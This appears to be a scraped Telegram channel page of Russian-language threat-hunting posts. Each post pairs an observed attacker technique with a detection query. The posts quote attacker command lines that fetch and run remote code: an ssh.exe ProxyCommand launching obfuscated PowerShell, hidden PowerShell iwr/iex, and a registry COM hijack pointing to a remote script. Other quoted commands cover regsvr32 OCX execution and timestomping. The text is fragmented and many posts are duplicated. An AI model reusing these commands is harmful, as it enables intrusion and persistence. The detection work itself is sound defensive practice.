Know Your Adversary
关联群组
Know Your Adversary Chat
2
记录
07.05.202523:59
416订阅者11.01.202523:59
0引用指数22.01.202523:59
445每帖平均覆盖率22.01.202523:59
445广告帖子的平均覆盖率08.02.202523:59
7.07%ER10.04.202517:52
27.63%ERR登录以解锁更多功能。
event_type: "processcreatewin"
AND
proc_file_productname: "Supremo Remote Control"
event_type: "filecreate"
AND
file_path: "SupremoRemoteDesktop"
msiexec.exe, связанный с обновлением версии SentinelOne.msiexec.exe, например, с помощью taskkill:event_type: "processcreatewin"
AND
proc_file_name: "taskkill"
AND
cmdline: "msiexec"
msxsl.exe, легитимный бинарный файл, известный как Microsoft Command Line Transformation Utility, используется для запуска бэкдора:msxsl.exe D30F38D93CA9185.txt D30F38D93CA9185.txtevent_type: "processcreatewin"
AND
proc_file_name: "msxsl.exe"
AND
cmdline: "txt"
(Get-Item “.\vcruntime140_1.dll”).LastAccessTime=(“12 May 2024 11:14:00”) `Get-Item:event_type: "ScriptExecutionWin"
AND
script_text: "get-item" AND ("lastaccesstime" OR "lastwritetime" OR "creationtime")
ssh.exe для проксирования выполнения PowerShell:ssh.exe -o ProxyCommand="powershell powershell ('datashieldsecure.com nikbfgppdkfjsfj msh ta run.mp4 http:'|Convert-String -E '1 2 3 4 5 6=34 6//1/2/5')"event_type: "processcreatewin"
AND
proc_file_name: "ssh.exe"
AND
cmdline: "proxycommand"
regsvr32.exe для выполнения вредоносного OCX-файла:regsvr32.exe /s /i C:\Users\[redacted]\AppData\Local\Temp\2549828850.ocxTemp:event_type: "processcreatewin"
AND
proc_file_name: "regsvr32.exe"
AND
cmdline: "temp" AND "ocx"
ifconfig[.]me для сбора информации о IP-адресе скомпрометированной системы, мы также можем использовать это для проактивного поиска:event_type: "dnsreq"
AND
dns_rname: "ifconfig.me"
event_type: "processcreatewin"
AND
proc_file_name: "powerpnt.exe"
AND
cmdline: "ppam"
JSLNTOOL.EXE через explorer.exe. JSLNTOOL.EXE — это легитимное приложение, которое злоумышленник использует для сайдлоадинга JSFC.dll — вредоносного загрузчика.explorer.exe через wmiprvse.exe с помощью следующего запроса:event_type: "processcreatewin"
AND
proc_file_path: "explorer.exe"
AND
proc_p_file_path: "wmiprvse.exe"
JSLNTOOL.EXE, можно также искать связанные события запуска, обращая внимание на нетипичные расположения:event_type: "processcreatewin"
AND
proc_file_originalfilename: "jslntool.exe"
AND NOT
proc_file_path: "justsystems"
event_type: "processcreate"
AND
cmdline: "fwd" AND ("22" OR "3389")
event_type: "processcreatewin"
AND
proc_file_originalfilename: "YDArk.exe"
event_type: "driverloadwin"
AND
file_name: "YDArkDrv.sys"
tmdbglog.exe для сайдлоадинга вредоносной библиотеки tmdglog.dll, а также файл bds.exe от Bitdefender для сайдлоадинга DLL с именем log.dll.event_type: "processcreatewin"
AND
proc_file_originalfilename: ("PtWatchDog.exe" OR "BDSubWiz.exe")
powershell -windowstyle hidden -Command iwr iwr и iex. Разумеется, мы можем использовать это для проактивного поиска (или даже детектирования!):event_type: "processcreatewin"
AND
proc_file_name: "powershell.exe"
AND
cmdline: ("iwr" AND "iex")
reg add "HKEY_CURRENT_USER\Software\Classes\TypeLib{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win64" /t REG_SZ /d "script:hxxps://drive.google[dot]com/uc?export=download^&id=1l5cMkpY9HIERae03tqqvEzCVASQKen63" /fevent_type: "processcreatewin"
AND
proc_file_name: "reg.exe"
AND
cmdline: ("TypeLib" И "script")
event_type: "registryvaluesetwin"
AND
reg_key_path: "TypeLib"
AND
reg_value_data: "script"
.library-ms, которые распространяются через фишинговые письма. Файлы с таким расширением встречаются довольно редко, поэтому мы можем отследить их появление по событиям создания файлов:event_type: "filecreate"
AND
file_path: "library-ms"
event_type: "driverloadwin"
AND
file_name: "zam64.sys"
ZammOcide". Это мы тоже можем использовать для обнаружения:event_type: "serviceinstallwin"
AND
service_name: "ZammOcide"
https://ppng[.]io, основанный на проекте piping-server, для запроса команд и отправки результатов их выполнения.event_type: "dnsreq"
AND
dns_rname: "ppng.io"
event_type: "processcreate"
AND
cmdline: "fwd" AND ("22" OR "3389")
(Get-Item “.\vcruntime140_1.dll”).LastAccessTime=(“12 May 2024 11:14:00”) `Get-Item:event_type: "ScriptExecutionWin"
AND
script_text: "get-item" AND ("lastaccesstime" OR "lastwritetime" OR "creationtime")
JSLNTOOL.EXE через explorer.exe. JSLNTOOL.EXE — это легитимное приложение, которое злоумышленник использует для сайдлоадинга JSFC.dll — вредоносного загрузчика.explorer.exe через wmiprvse.exe с помощью следующего запроса:event_type: "processcreatewin"
AND
proc_file_path: "explorer.exe"
AND
proc_p_file_path: "wmiprvse.exe"
JSLNTOOL.EXE, можно также искать связанные события запуска, обращая внимание на нетипичные расположения:event_type: "processcreatewin"
AND
proc_file_originalfilename: "jslntool.exe"
AND NOT
proc_file_path: "justsystems"
ssh.exe для проксирования выполнения PowerShell:ssh.exe -o ProxyCommand="powershell powershell ('datashieldsecure.com nikbfgppdkfjsfj msh ta run.mp4 http:'|Convert-String -E '1 2 3 4 5 6=34 6//1/2/5')"event_type: "processcreatewin"
AND
proc_file_name: "ssh.exe"
AND
cmdline: "proxycommand"
regsvr32.exe для выполнения вредоносного OCX-файла:regsvr32.exe /s /i C:\Users\[redacted]\AppData\Local\Temp\2549828850.ocxTemp:event_type: "processcreatewin"
AND
proc_file_name: "regsvr32.exe"
AND
cmdline: "temp" AND "ocx"
ifconfig[.]me для сбора информации о IP-адресе скомпрометированной системы, мы также можем использовать это для проактивного поиска:event_type: "dnsreq"
AND
dns_rname: "ifconfig.me"
msiexec.exe, связанный с обновлением версии SentinelOne.msiexec.exe, например, с помощью taskkill:event_type: "processcreatewin"
AND
proc_file_name: "taskkill"
AND
cmdline: "msiexec"
.library-ms, которые распространяются через фишинговые письма. Файлы с таким расширением встречаются довольно редко, поэтому мы можем отследить их появление по событиям создания файлов:event_type: "filecreate"
AND
file_path: "library-ms"
event_type: "driverloadwin"
AND
file_name: "zam64.sys"
ZammOcide". Это мы тоже можем использовать для обнаружения:event_type: "serviceinstallwin"
AND
service_name: "ZammOcide"
event_type: "processcreatewin"
AND
proc_file_originalfilename: "YDArk.exe"
event_type: "driverloadwin"
AND
file_name: "YDArkDrv.sys"
C:\ProgramData\SkyPDF\PDUDrv.blf.event_type: "filecreatewin"
AND
file_path: ("programdata" AND "blf")
tmdbglog.exe для сайдлоадинга вредоносной библиотеки tmdglog.dll, а также файл bds.exe от Bitdefender для сайдлоадинга DLL с именем log.dll.event_type: "processcreatewin"
AND
proc_file_originalfilename: ("PtWatchDog.exe" OR "BDSubWiz.exe")
https://ppng[.]io, основанный на проекте piping-server, для запроса команд и отправки результатов их выполнения.event_type: "dnsreq"
AND
dns_rname: "ppng.io"
powershell -windowstyle hidden -Command iwr iwr и iex. Разумеется, мы можем использовать это для проактивного поиска (или даже детектирования!):event_type: "processcreatewin"
AND
proc_file_name: "powershell.exe"
AND
cmdline: ("iwr" AND "iex")
reg add "HKEY_CURRENT_USER\Software\Classes\TypeLib{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win64" /t REG_SZ /d "script:hxxps://drive.google[dot]com/uc?export=download^&id=1l5cMkpY9HIERae03tqqvEzCVASQKen63" /fevent_type: "processcreatewin"
AND
proc_file_name: "reg.exe"
AND
cmdline: ("TypeLib" И "script")
event_type: "registryvaluesetwin"
AND
reg_key_path: "TypeLib"
AND
reg_value_data: "script"